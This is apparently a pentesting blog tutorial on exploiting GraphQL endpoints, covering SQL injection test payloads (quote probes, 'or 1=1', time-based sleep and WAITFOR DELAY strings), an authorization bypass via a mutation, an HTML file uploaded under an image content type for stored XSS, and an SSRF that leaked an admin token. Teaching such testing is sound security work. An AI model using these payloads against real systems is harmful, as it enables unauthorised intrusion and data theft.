Pentesting GraphQL 101 Part 3 - Exploitation

Pentesting GraphQL 101 
Part 3 - Exploitation

Exploitation or finding the vulnerabilities might not be the most crucial step in a typical pentesting process. Yet, it is what glues the whole pentesting process together through being the unified goal that all other efforts build up to, giving meaning to the entire process.

I think exploitation is the most enjoyable step and that I, with my colleagues, prefer this particular step the most.

Today's article will be a combination of scenarios I've encountered as well as specific attacks that I always check for when pentesting:

  • SQL Injection
  • Bypassing authorization
  • File upload
  • SSRF

Starting with the Classics: SQL Injection

Commonly GraphQL endpoints would be associated with databases from where they fetch their data, and thus the process of transforming a GraphQL query into a SQL query occurs.

But whenever SQL is used,  SQL injection must be on the pentesting checklist.


SQL injection is one of the most common web hacking techniques. That is essentially code injection that might bypass authentications, leak the database, destroy it, or even (in the worst/best case scenario) execute code.

It isn't much different for GraphQL endpoints, yet it is worth looking into as a separate topic. Articles handling SQL injection on GraphQL endpoints are starting to emerge.

Check out one of my favorite articles: SQL Injection in GraphQL

SQL Injection Detection Techniques:

The question we should ask now is: where would we inject?

In GraphQL, the answer is simple: In Arguments, queries take arguments and are the only input that could be injectable. Here is a quick example of a query with arguments:

	character(injectHere: "' or 1=1 --"){

When testing for SQL injection, two cases are usually encountered:

  • A verbose endpoint that would tell you through the error messages when your malicious input resulted in an SQL error indicating a vulnerability
  • A silent endpoint or an endpoint that doesn't exclusively return what went wrong, that we'll have to approach through time based payloads


Detecting SQL injection in verbose endpoints could be done through three simple tests that covers 90% or all cases, that is usually enough to declare an endpoint practically safe.

The tests consist of sending each of the following characters to an endpoint:

Single quote: ( ' )
Double quote: ( " )
Space followed by random character: (  test)

After sending each of those, if an SQL error message is returned, then you, sir, have (probably) stumbled on an endpoint vulnerable to SQL injection.

on the other hand when the endpoint is silent we use time for detection. Send each of these:

,(select * from (select(sleep(20)))a)
';WAITFOR DELAY '0:0:20'--

And check if the query takes 20 or more seconds, and if it does, then we can declare the endpoint vulnerable (probably).

Bypassing Authorization

Bypassing authorization is a vast concept that could not be given in the form of a simple step-by-step guide. It could be anything from a poorly implemented token verifier to a fundamental vulnerability. Yet, it is always an exploitation goal that pentesters should aim for.

A great authorization bypass example was shown in the previous article with "Multipath Evaluation," but here is another similar vulnerability.

An endpoint I worked on had the following scenario:

An Allowance object was found. It represented the allowance of a particular child set by his parent.

Key points about the endpoint and the Allowance object:

  • we are authenticated as a child
  • saveAllowance is the mutation that updates the fields of an allowance object
  • getAllowance is the query that fetches the Allowance fields
  • A child can get the Allowance information, but not edit them
  • The periodicity field represents how often does a child get his allowance (monthly, weekly, daily ....)

After some testing/playing around the following article was sent with a random string in the periodicity argument:

mutation {
            amount: 100,
            periodicity: "escape-test",
      	    isSuspended: false,
            isVaultRemunerated: true,
            periodicityDay: 1334,
            childId: "9d0730c3-f172-4b2d-b401-94a575787ae2",
            vaultRate: 0.1334}) {
            	lastPaymentDetail {

but the response was an error message specifying that the periodicity is unknown:

      "errors": [ 
      	"message": "Unkwown periodicity escape-test" 

and yes there was a typo there :)

up until here no problem or vulnerability was identified, not until the Allowance of the same child (using the same childId) was queried using the getAllowance query.

query {
      getAllowance(childId:"9d0730c3-f172-4b2d-b401-94a575787ae2") {

that returned:

      "errors": [
            "message": "Unkwown periodicity escape-test",
            "locations": [
                        "line": 2,
                        "column": 2
            "path": [
            "extensions": {
                  "code": "INTERNAL_SERVER_ERROR"
      "data": {
            "getAllowance": null

and voila, since this error had occurred we can conclude two points:

  • The poorly formatted data escape-test was stored in base, which is already an integrity problem in itself
  • More importantly, any logged-in user can store any string in database, and thus anyone change the periodicity that a child can get his allowance.


File upload

To put it simply, GraphQL is not equipped to handle uploads. Yet, for some reason, GraphQL developers still decide to implement custom file upload mutations. So, whenever you spot an upload type in the introspection, know that your chance of finding a vulnerability just increased.

Here is an example of a simple arbitrary file upload hack I found:

Sending the upload avatar picture mutation has only checks on the specified content type that can be decided by the user and thus I sent the following request :

Content-Disposition: form-data; name="operations"

{"operationName":"StaffAvatarUpdate","variables":{"image":null},"query":"fragment AccountErrorFragment on AccountError {\n  code\n  field\n  __typename\n}\n\nmutation StaffAvatarUpdate($image: Upload!) {\n  userAvatarUpdate(image: $image) {\n    errors: accountErrors {\n      ...AccountErrorFragment\n      __typename\n    }\n    user {\n      id\n      avatar {\n        url\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n"}
Content-Disposition: form-data; name="map"

Content-Disposition: form-data; name="0"; filename="payload.html"
Content-Type: image/jpeg


I added an XSS payload in the file content, but specified the Content-Type as image/jpeg and thus the file simply uploaded.

and voilà, accessing the file's URL results in the XSS

Note: Obviously much more can be done from an unrestricted file upload, but this as much as I can share for this.

Server Side Request Forgery

When controlling the destination of a particular request made by the server, this is the basic framework for an SSRF vulnerability, but it is always tricky to actually announce it as a vulnerability.

When controlling the destination of a particular request made by the server, this is the basic framework for an SSRF vulnerability. Still, it is always tricky to announce it as a vulnerability.

SSRF candidates are anything that might send a request, some examples I've encountered are queries named: Checkurl, Createwebhook, getUrlMetadata

But perhaps the most severe SSRF vulnerability I've found was a leaked admin token through SSRF.

It was found in a GraphQL endpoint was a wrapper around a RESTful architecture. Thus, every time data is requested from the GraphQL endpoint, a request would be made to the REST API, and due to an implementation fault, I could do the following:

Sending a query with a request catcher instead as an id argument:

  invoice(invoiceId: ""){

would result in a caught request with a valid admin token:

Final Thoughts

Cybersecurity skills might be some of the most challenging to teach due to the rapidly evolving nature of the field. Hopefully, I have provided enough insight by sharing my experience and successfully increased your checklist for the next time you are pentesting a GraphQL endpoint.